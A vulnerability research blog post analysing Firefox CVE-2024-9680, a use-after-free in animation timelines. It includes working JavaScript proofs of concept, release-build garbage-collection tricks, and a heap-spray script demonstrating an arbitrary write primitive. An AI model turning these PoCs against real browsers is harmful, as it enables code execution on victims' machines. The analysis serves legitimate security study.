Firefox Animation CVE-2024-9680

In this post, we delve into the analysis of a recent vulnerability CVE-2024-9680 patched in Firefox 131.0.2. This bug, categorized as a use-after-free issue in animation timelines, was reportedly exploited in the wild. While publicly available information on the vulnerability is limited, our investigation provides a deep dive into how this issue could be triggered and exploited.

Introduction

In October, I came across a post on X discussing a Firefox vulnerability that was fixed in Firefox 131.0.2. To gather more details about this CVE, my first instinct was to check the Mozilla security advisory 2024-51:

CVE-2024-9680: Use-after-free in Animation timeline

An attacker was able to achieve code execution in the content process by exploiting a use-after-free in Animation timelines. We have had reports of this vulnerability being exploited in the wild.

The next step is typically to search for the bug patch and any available Proof of Concept (PoC). However, public information was limited, and there was no PoC available. So, I decided to analyze this bug myself and share my findings in a blog post.

Vulnerability

The commit 0ee07613d050 addresses the bug, but the most interesting changes are in AnimationTimeline.cpp.

// Before patch
bool AnimationTimeline::Tick(TickState& aState) {
  //...
  nsTArray<Animation*> animationsToRemove;
  for (Animation* animation = mAnimationOrder.getFirst(); animation;
       animation =
           static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
    //...
    animation->Tick(aState);
    if (!animation->NeedsTicks()) {
      animationsToRemove.AppendElement(animation);
    }
  }

  for (Animation* animation : animationsToRemove) {
    RemoveAnimation(animation);
  }
  return needsTicks;
}
// After patch
bool AnimationTimeline::Tick(TickState& aState) {
  //...
  AutoTArray<RefPtr<Animation>, 32> animationsToTick;
  for (Animation* animation : mAnimationOrder) {
    animationsToTick.AppendElement(animation);
  }

  for (Animation* animation : animationsToTick) {
    // ...
    animation->Tick(aState);
    if (!animation->NeedsTicks()) {
      RemoveAnimation(animation);
    }
  }
  return needsTicks;
}

As you can see, they replaced Animation* with RefPtr<Animation> in the loop. This change addresses not one but two use-after-free vulnerabilities! Before exploring how these issues are triggered, it is essential to understand how objects are tracked in this part of the code.

References Tracking

Each animation maintains a reference-counted pointer to its timeline through mTimeline, and each timeline holds reference-counted pointers to its animations in mAnimations:

class Animation : public DOMEventTargetHelper,
                  public LinkedListElement<Animation> {
  RefPtr<AnimationTimeline> mTimeline;
};

class AnimationTimeline : public DOMEventTargetHelper,
                  public LinkedListElement<Animation> {
  using AnimationSet = nsTHashSet<nsRefPtrHashKey<dom::Animation>>;
  AnimationSet mAnimations;
  LinkedList<dom::Animation> mAnimationOrder;
};

Additionally, mAnimationOrder maintains a linked list of all animations, where each animation has a raw pointer (next/prev) to the preceding and following animations. To summarize the situation:

Without use-after-free

The reference to an animation is removed when RemoveAnimation is called:

void AnimationTimeline::RemoveAnimation(Animation* aAnimation) {
  if (static_cast<LinkedListElement<Animation>*>(aAnimation)->isInList()) {
    // aAnimation remove itself from mAnimationOrder
    static_cast<LinkedListElement<Animation>*>(aAnimation)->remove();
  }
  mAnimations.Remove(aAnimation); // Remove the animation reference
}

At this point, we can identify two potential issues if we return to JavaScript during the loop:

  1. The AnimationTimeline object remains alive only because it is being used in animations. Otherwise, its reference count would drop to zero, causing it to be freed.
  2. Animations are kept alive through references in JavaScript and in AnimationTimeline’s mAnimations. If these references are removed, the pointers in animationsToRemove would end up pointing to freed objects.

Back to JavaScript

To trigger either of the use-after-free vulnerabilities, we need to return to JavaScript during the main loop:

bool AnimationTimeline::Tick(TickState& aState) {
  //...
  for (Animation* animation = mAnimationOrder.getFirst(); animation;
       animation =
           static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
    animation->Tick(aState); // HERE
  }
  //...
}

When the animation is ticked, the method TryTriggerNow is called. If the animation state is pending, it will resume. If an mReady promise is registered, this promise will execute asynchronously:

void Animation::Tick(AnimationTimeline::TickState& aTickState) {
  if (Pending()) {
    if (!mPendingReadyTime.IsNull()) {
      TryTriggerNow();
    }
    //...
  }
  //...
}

bool Animation::TryTriggerNow() {
  //...
  FinishPendingAt(currentTime.Value());
  return true;
}

void FinishPendingAt(const TimeDuration& aReadyTime) {
  if (mPendingState == PendingState::PlayPending) {
    ResumeAt(aReadyTime);
  }
  //...
}

void Animation::ResumeAt(const TimeDuration& aReadyTime) {
  //...
  if (mReady) {
    mReady->MaybeResolve(this);
  }
}

The challenge we face is that we need this promise to resume synchronously! Fortunately, it is still possible to trigger a callback synchronously:

void MaybeResolve(T&& aArg) {
  MaybeSomething(std::forward<T>(aArg), &Promise::MaybeResolve);
}

void Promise::MaybeResolve(JSContext* aCx, JS::Handle<JS::Value> aValue) {
  JS::Rooted<JSObject*> p(aCx, PromiseObj());
  if (!p || !JS::ResolvePromise(aCx, p, aValue)) {
    //...
  }
}

// js/src/builtin/Promise.cpp
bool js::ResolvePromiseInternal(
    JSContext* cx, JS::Handle<JSObject*> promise,
    JS::Handle<JS::Value> resolutionVal) {
  //...
  // Step 9. Let then be Get(resolution, "then").
  RootedValue thenVal(cx);
  bool status =
      GetProperty(cx, resolution, resolution, cx->names().then, &thenVal);
  //...
}

When MaybeResolve is called, the .then property is accessed. By setting a getter on this property, we can trigger a callback when it is accessed:

Object.defineProperty(Animation.prototype, "then", {
  get() {
    console.log("Object.property.then called");
  }
});

As a result, when animation->Tick() is called, our getter on Animation.then will be executed.

DocumentTimeline UAF

The simplest use-after-free vulnerability to trigger involves removing all timeline references in JavaScript during the Tick():

DocumentTimeline use-after-free

At the end of the loop, this.RemoveAnimation will be called:

bool AnimationTimeline::Tick(TickState& aState) {
  //...
  nsTArray<Animation*> animationsToRemove;
  for (Animation* animation = mAnimationOrder.getFirst(); animation;
       animation =
           static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
    //...
    animation->Tick(aState);                          // Free AnimationTimeline 
    //...
  }

  for (Animation* animation : animationsToRemove) {
    RemoveAnimation(animation);                       // UAF
  }
  return needsTicks;
}

Here is a minimal PoC:

async function main() {
  let timeline = new DocumentTimeline();
  let animation = new Animation(null, timeline); 
  animation.play();

  // Set .ready to be sure that our promise will be resolved synchonously.
  animation.ready;

  Object.defineProperty(Animation.prototype, "then", {
    get() {
      // Free the timeline
      // Setting this.timeline = null will trigger an infinite loop
      this.timeline = new DocumentTimeline();
      timeline = null;

      FuzzingFunctions.garbageCollect();
      FuzzingFunctions.cycleCollect();
      return undefined;
    }
  });
}

main();

This results in a call on a freed virtual table, which is not ideal for exploitation at this point, so let’s explore the second use-after-free.

Animation UAF

This time, we will exploit the array of raw pointers in animationsToRemove:

Animation use-after-free
bool AnimationTimeline::Tick(TickState& aState) {
  //...
  nsTArray<Animation*> animationsToRemove;
  for (Animation* animation = mAnimationOrder.getFirst(); animation;
       animation =
           static_cast<LinkedListElement<Animation>*>(animation)->getNext()) {
    //...
    animation->Tick(aState);                        // Free the prev animation 
    if (!animation->NeedsTicks()) {
      animationsToRemove.AppendElement(animation); // Add the raw pointer
    }
  }

  // animationsToRemove[0] point to a free Animation

  for (Animation* animation : animationsToRemove) {
    RemoveAnimation(animation);                       
  }
  return needsTicks;
}

void AnimationTimeline::RemoveAnimation(Animation* aAnimation) {
  if (static_cast<LinkedListElement<Animation>*>(aAnimation)->isInList()) {
    static_cast<LinkedListElement<Animation>*>(aAnimation)->remove(); // UAF
  }
  //...
}

bool isInList() const {
  return mNext != this;
}
void remove() {
  mPrev->mNext = mNext;
  mNext->mPrev = mPrev;
  mNext = this;
  mPrev = this;
}

Here is the PoC:

async function main() {
  let timeline = new DocumentTimeline();

  let animation = new Animation(null, timeline);  // The one which will be free
  let animation2 = new Animation(null, timeline);

  animation.play();
  animation2.play();

  // Set .ready to be sure that our promise will be resolved synchonously.
  // animation.ready; // Don't set on the first one to be able to free it
  animation2.ready;

  Object.defineProperty(Animation.prototype, "then", {
    get() {
      // Free our Animation
      animation.timeline = null;  // RemoveAnimation()
      animation  = null;          // Release() 

      FuzzingFunctions.garbageCollect();
      FuzzingFunctions.cycleCollect();
      return undefined;
    }
  });
}

main();

Next steps

The FuzzingFunctions are helpful but unavailable in the release version of Firefox, so we need alternatives. For garbage collection, the replacement is straightforward:

/** FuzzingFunctions.garbageCollect() */ 
function garbageCollect() {
  // Allocate 128 MB to trigger the TOO_MUCH_MALLOC garbage collection
  const maxMallocBytes = 128 * 1024 * 1024;
  for (let i = 0; i < 3; i++) {
    var x = new ArrayBuffer(maxMallocBytes);
  }
}

However, for cycle collection, we need to halt the current thread temporarily to allow the AsyncFreeSnowWhite thread to execute. The simplest approach I have found is to use a synchronous XMLHttpRequest:

/** FuzzingFunctions.cycleCollect() */
function cycleCollect() {
  // Trigger the thread AsyncFreeSnowWhite
  const request = new XMLHttpRequest();
  request.open("GET", "", false);       // synchronous fetch
  request.send(null);
}

To exploit our unlink primitive, we should spray an array of pointers matching the size of Animation to facilitate pointer leakage and bypass ASLR. I did not find an exact match in my quick research, so I will leave that as an exercise for the reader.

In fact, even without an object of the correct size for the heap spray - in this case, the bucket (304, 320] - you can simply free entire pages of that object size. Eventually, these pages will be reused for objects of different sizes, which suffices to demonstrate our 0x41414141 arbitrary write:

/** FuzzingFunctions.garbageCollect() */ 
function garbageCollect() {
  // Allocate 128 MB to trigger the TOO_MUCH_MALLOC garbage collection
  const maxMallocBytes = 128 * 1024 * 1024;
  for (let i = 0; i < 3; i++) {
    var x = new ArrayBuffer(maxMallocBytes);
  }
}

/** FuzzingFunctions.cycleCollect() */
function cycleCollect() {
  // Trigger the thread AsyncFreeSnowWhite
  const request = new XMLHttpRequest();
  request.open("GET", "", false);       // synchronous fetch
  request.send(null);
}

async function main() {
  const xslt_data0 = '<?xml version="1.0" encoding="UTF-8"?>' +
  '<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">' +
  '</xsl:stylesheet>';
  var parser = new DOMParser();
  var xslt0 = parser.parseFromString(xslt_data0, "text/xml");
  var xslt_processor0 = new XSLTProcessor();
  xslt_processor0.reset();
  xslt_processor0.importStylesheet(xslt0);

  let timeline = new DocumentTimeline();

  let sprayAnim = [];
  for (let i = 0; i < 200; i++) {
    sprayAnim.push(new Animation());
  }

  let animation = new Animation(null, timeline);  // the one which will be free
  animation.id = "first";                         // used for debug
  
  for (let i = 0; i < 200; i++) {
    sprayAnim.push(new Animation());
  }

  let animation2 = new Animation(null, timeline);

  animation.play();
  animation2.play();

  animation2.ready;

  Object.defineProperty(Animation.prototype, "then", {
    get() {
      animation.timeline = null;  // RemoveAnimation()
      animation  = null;          // Release() 

      for (let i = 0; i < sprayAnim.length; i++) {
        sprayAnim[i] = null;
      }
      sprayAnim = null;

      // Free our Animation
      garbageCollect();
      cycleCollect();

      // Replace the object with controlled pointers
      let content = String.fromCodePoint(0x4142).repeat(128/2);
      for(let i = 0; i < 1000; i++) {
        xslt_processor0.setParameter(null, "fill_" + i, content);
      }

      /*
        void remove() {
          mPrev->mNext = mNext;
          mNext->mPrev = mPrev;
          mNext = this;
          mPrev = this;
        }
        mov    rax, QWORD PTR [rbx+0x70]
        mov    rcx, QWORD PTR [rbx+0x78]
        mov    QWORD PTR [rcx], rax
        mov    rcx, QWORD PTR [rbx+0x78]
        mov    QWORD PTR [rax+0x8], rcx
        mov    QWORD PTR [rbx+0x70], r15
        mov    QWORD PTR [rbx+0x78], r15
     */
      return undefined;
    }
  });
}

main();

Conclusion

This was my first deep dive into Firefox, and I had a lot of fun analyzing this bug.

Interestingly, a Chrome bug 40058745 reported back in February 2020 involved a very similar vulnerability.

Many thanks to mistymntncop for collaborating on this bug analysis!